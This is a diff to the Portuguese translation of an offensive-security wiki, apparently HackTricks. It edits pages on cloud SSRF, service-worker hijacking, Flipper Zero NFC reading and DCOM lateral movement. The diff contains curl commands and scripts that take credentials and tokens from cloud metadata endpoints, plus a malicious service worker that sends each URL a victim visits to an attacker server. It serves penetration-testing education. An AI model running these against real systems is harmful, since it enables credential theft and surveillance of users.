* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,27 +1,19 @@
# SSRF na Nuvem
# Cloud SSRF
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## AWS
### Abusando do SSRF no ambiente AWS EC2
@ -31,9 +23,9 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessar** o endpoint via solicitações **GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma solicitação **PUT** com um **cabeçalho HTTP** e depois usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF).
{% hint style="danger" %}
Observe que se a instância EC2 estiver aplicando o IMDSv2, [**conforme a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados do EC2 de um contêiner dentro da instância EC2.
Observe que se a instância EC2 estiver aplicando IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados do EC2 de um contêiner dentro da instância EC2.
Além disso, o **IMDSv2** também **bloqueará solicitações para buscar um token que inclua o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados possam acessá-lo.
Além disso, **IMDSv2** também **bloqueará solicitações para buscar um token que inclua o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados possam acessá-lo.
{% endhint %}
Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No script a seguir, algumas informações interessantes são obtidas a partir dele:
@ -96,7 +88,7 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Como exemplo de credenciais IAM **publicamente disponíveis** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Como exemplo de **credenciais IAM publicamente disponíveis** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Você também pode verificar as **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
@ -111,11 +103,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
```
Observe o **aws\_session\_token**, isso é indispensável para o perfil funcionar.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalá-los
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalá-los.
### SSRF no AWS ECS (Serviço de Contêineres) credenciais
### SSRF nas credenciais do AWS ECS (Serviço de Contêiner)
**ECS**, é um grupo lógico de instâncias EC2 em que você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **pontos de extremidade de metadados mudam**.
**ECS**, é um grupo lógico de instâncias EC2 em que você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **pontos de extremidade de metadados mudam**.
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
Você pode ser capaz de lê-lo explorando um **Path Traversal** para `file:///proc/self/environ`\
@ -140,7 +132,7 @@ Os **nomes** das **variáveis de ambiente interessantes** são:
Além disso, além das credenciais IAM, as funções Lambda também possuem **dados de evento que são passados para a função quando ela é iniciada**. Esses dados estão disponíveis para a função por meio da [interface de tempo de execução](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis por SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Observe que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **rastreamento de pilha** do código lambda imprimir as variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no aplicativo.
Observe que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **rastreamento de pilha** do código lambda imprimir as variáveis de ambiente, é possível **extrair essas informações provocando um erro** no aplicativo.
{% endhint %}
### URL SSRF para AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
@ -249,7 +241,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta não requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
Beta NÃO requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
@ -341,26 +333,14 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Azure <a href="#cea8" id="cea8"></a>
### Azure VM
[**Documentos** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
[**Documentação** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Deve** conter o cabeçalho `Metadata: true`
* Não deve conter um cabeçalho `X-Forwarded-For`
{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
@ -511,58 +491,62 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}
A documentação para os serviços de metadados de várias plataformas está detalhada abaixo, destacando os métodos pelos quais as informações de configuração e tempo de execução para as instâncias podem ser acessadas. Cada plataforma oferece endpoints exclusivos para acessar seus serviços de metadados.
## Packetcloud
Para acessar os metadados do Packetcloud, a documentação pode ser encontrada em: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Para acessar os metadados da Packetcloud, a documentação pode ser encontrada em: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
A necessidade de um cabeçalho não é mencionada. Os metadados podem ser acessados através de:
- `http://169.254.169.254/openstack`
* `http://169.254.169.254/openstack`
## HP Helion
A necessidade de um cabeçalho também não é mencionada aqui. Os metadados são acessíveis em:
- `http://169.254.169.254/2009-04-04/meta-data/`
* `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
O Oracle Cloud fornece uma série de endpoints para acessar vários aspectos dos metadados:
A Oracle Cloud fornece uma série de endpoints para acessar vários aspectos de metadados:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/`
* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`
## Alibaba
A Alibaba oferece endpoints para acessar metadados, incluindo IDs de instância e imagem:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id`
* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
O Kubernetes ETCD pode conter chaves de API, endereços IP internos e portas. O acesso é demonstrado através de:
O Kubernetes ETCD pode armazenar chaves de API, endereços IP internos e portas. O acesso é demonstrado através de:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Os metadados do Docker podem ser acessados localmente, com exemplos fornecidos para recuperação de informações de contêineres e imagens:
Os metadados do Docker podem ser acessados localmente, com exemplos fornecidos para recuperação de informações de contêiner e imagem:
- Exemplo simples para acessar metadados de contêineres e imagens via o socket do Docker:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Dentro do contêiner, use o curl com o socket do Docker:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
* Exemplo simples para acessar metadados de contêineres e imagens via o socket do Docker:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* Dentro do contêiner, use o curl com o socket do Docker:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Os metadados do Rancher podem ser acessados usando:
- `curl http://rancher-metadata/<version>/<path>`
* `curl http://rancher-metadata/<version>/<path>`

View file

@ -8,20 +8,12 @@
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Informações Básicas
Um **service worker** é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de **processamento offline e em segundo plano**. Informações detalhadas sobre service workers podem ser encontradas [aqui](https://developers.google.com/web/fundamentals/primers/service-workers). Ao explorar service workers em um domínio da web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.
@ -39,10 +31,10 @@ As **permissões de notificação push** impactam diretamente a capacidade de um
Para explorar essa vulnerabilidade, você precisa encontrar:
* Uma maneira de **fazer upload de arquivos JS arbitrários** para o servidor e um **XSS para carregar o service worker** do arquivo JS enviado
* Uma maneira de **enviar arquivos JS arbitrários** para o servidor e um **XSS para carregar o service worker** do arquivo JS enviado
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor dos atacantes cada URL acessada** (este é o código que você precisaria **fazer upload** para o **servidor** ou carregar via uma resposta **JSONP vulnerável**):
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor do atacante cada URL acessada** (este é o código que você precisaria **enviar** para o **servidor** ou carregar via uma resposta **JSONP vulnerável**):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
@ -75,7 +67,7 @@ Existe um **C2** dedicado à **exploração de Service Workers** chamado [**Shad
A diretiva de **cache de 24 horas** limita a vida de um **service worker (SW)** malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade de XSS, assumindo status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script do SW. Os desenvolvedores também são aconselhados a criar um [**interruptor de desativação do service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para desativação rápida.
## Abusando do `importScripts` em um SW via DOM Clobbering
## Abusando de `importScripts` em um SW via DOM Clobbering
A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se esta função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS.
@ -113,18 +105,11 @@ Para um exemplo disso, consulte o link de referência.
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -4,7 +4,7 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,14 +12,6 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Introdução <a href="#9wrzi" id="9wrzi"></a>
Para informações sobre RFID e NFC, consulte a seguinte página:
@ -34,20 +26,20 @@ Para informações sobre RFID e NFC, consulte a seguinte página:
Além dos cartões NFC, o Flipper Zero suporta **outros tipos de cartões de alta frequência** como vários **Mifare** Classic e Ultralight e **NTAG**.
{% endhint %}
Novos tipos de cartões NFC serão adicionados à lista de cartões suportados. O Flipper Zero suporta os seguintes **tipos de cartões NFC tipo A** (ISO 14443A):
Novos tipos de cartões NFC serão adicionados à lista de cartões suportados. O Flipper Zero suporta os seguintes **cartões NFC tipo A** (ISO 14443A):
* **Cartões bancários (EMV)** — apenas lê UID, SAK e ATQA sem salvar.
* **Cartões desconhecidos** — lê (UID, SAK, ATQA) e emula um UID.
* **Cartões bancários (EMV)** — apenas lê UID, SAK e ATQA sem salvar.
* **Cartões desconhecidos** — lê (UID, SAK, ATQA) e emula um UID.
Para os **tipos de cartões NFC B, F e V**, o Flipper Zero é capaz de ler um UID sem salvá-lo.
Para os **cartões NFC tipo B, tipo F e tipo V**, o Flipper Zero é capaz de ler um UID sem salvá-lo.
### Tipos de Cartões NFC tipo A <a href="#uvusf" id="uvusf"></a>
### Cartões NFC tipo A <a href="#uvusf" id="uvusf"></a>
#### Cartão bancário (EMV) <a href="#kzmrp" id="kzmrp"></a>
O Flipper Zero só pode ler um UID, SAK, ATQA e dados armazenados em cartões bancários **sem salvar**.
Tela de leitura de cartão bancárioPara cartões bancários, o Flipper Zero só pode ler dados **sem salvar e emulá-los**.
Tela de leitura de cartão bancárioPara cartões bancários, o Flipper Zero só pode ler dados **sem salvar e emular**.
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=916&#x26;w=2662" alt=""><figcaption></figcaption></figure>
@ -59,9 +51,9 @@ Tela de leitura de cartão desconhecidoPara cartões NFC desconhecidos, o Flippe
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=932&#x26;w=2634" alt=""><figcaption></figcaption></figure>
### Tipos de Cartões NFC B, F e V <a href="#wyg51" id="wyg51"></a>
### Cartões NFC tipos B, F e V <a href="#wyg51" id="wyg51"></a>
Para os **tipos de cartões NFC B, F e V**, o Flipper Zero só pode **ler e exibir um UID** sem salvá-lo.
Para os **cartões NFC tipos B, F e V**, o Flipper Zero só pode **ler e exibir um UID** sem salvá-lo.
<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure>
@ -71,7 +63,7 @@ Para uma introdução sobre NFC [**leia esta página**](../../../radio-hacking/p
### Leitura
O Flipper Zero pode **ler cartões NFC**, no entanto, ele **não entende todos os protocolos** baseados em ISO 14443. No entanto, como o **UID é um atributo de baixo nível**, você pode se encontrar em uma situação em que o **UID já foi lido, mas o protocolo de transferência de dados de alto nível ainda é desconhecido**. Você pode ler, emular e inserir manualmente o UID usando o Flipper para os leitores primitivos que usam o UID para autorização.
O Flipper Zero pode **ler cartões NFC**, no entanto, ele **não entende todos os protocolos** baseados em ISO 14443. No entanto, como o **UID é um atributo de baixo nível**, você pode se encontrar em uma situação em que o **UID já foi lido, mas o protocolo de transferência de dados de alto nível ainda é desconhecido**. Você pode ler, emular e inserir manualmente o UID usando o Flipper para leitores primitivos que usam o UID para autorização.
#### Leitura do UID VS Leitura dos Dados Internos <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
@ -88,24 +80,17 @@ Caso o Flipper Zero não seja capaz de encontrar o tipo de cartão a partir dos
#### Cartões Bancários EMV (PayPass, payWave, Apple Pay, Google Pay) <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
Além de simplesmente ler o UID, você pode extrair muito mais dados de um cartão bancário. É possível **obter o número completo do cartão** (os 16 dígitos na frente do cartão), **data de validade** e, em alguns casos, até o **nome do proprietário** juntamente com uma lista das **transações mais recentes**.\
No entanto, você **não pode ler o CVV dessa forma** (os 3 dígitos no verso do cartão). Além disso, **os cartões bancários são protegidos contra ataques de replay**, então copiá-los com o Flipper e depois tentar emulá-los para pagar algo não funcionará.
Além de simplesmente ler o UID, você pode extrair muitos mais dados de um cartão bancário. É possível **obter o número completo do cartão** (os 16 dígitos na frente do cartão), **data de validade** e em alguns casos até o **nome do proprietário** juntamente com uma lista das **transações mais recentes**.\
No entanto, **não é possível ler o CVV dessa forma** (os 3 dígitos no verso do cartão). Além disso, **os cartões bancários estão protegidos contra ataques de replay**, então copiá-lo com o Flipper e depois tentar emulá-lo para pagar algo não funcionará.
## Referências
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -6,26 +6,18 @@
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)..
</details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## MMC20.Application
**Para mais informações sobre essa técnica, confira o post original em [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
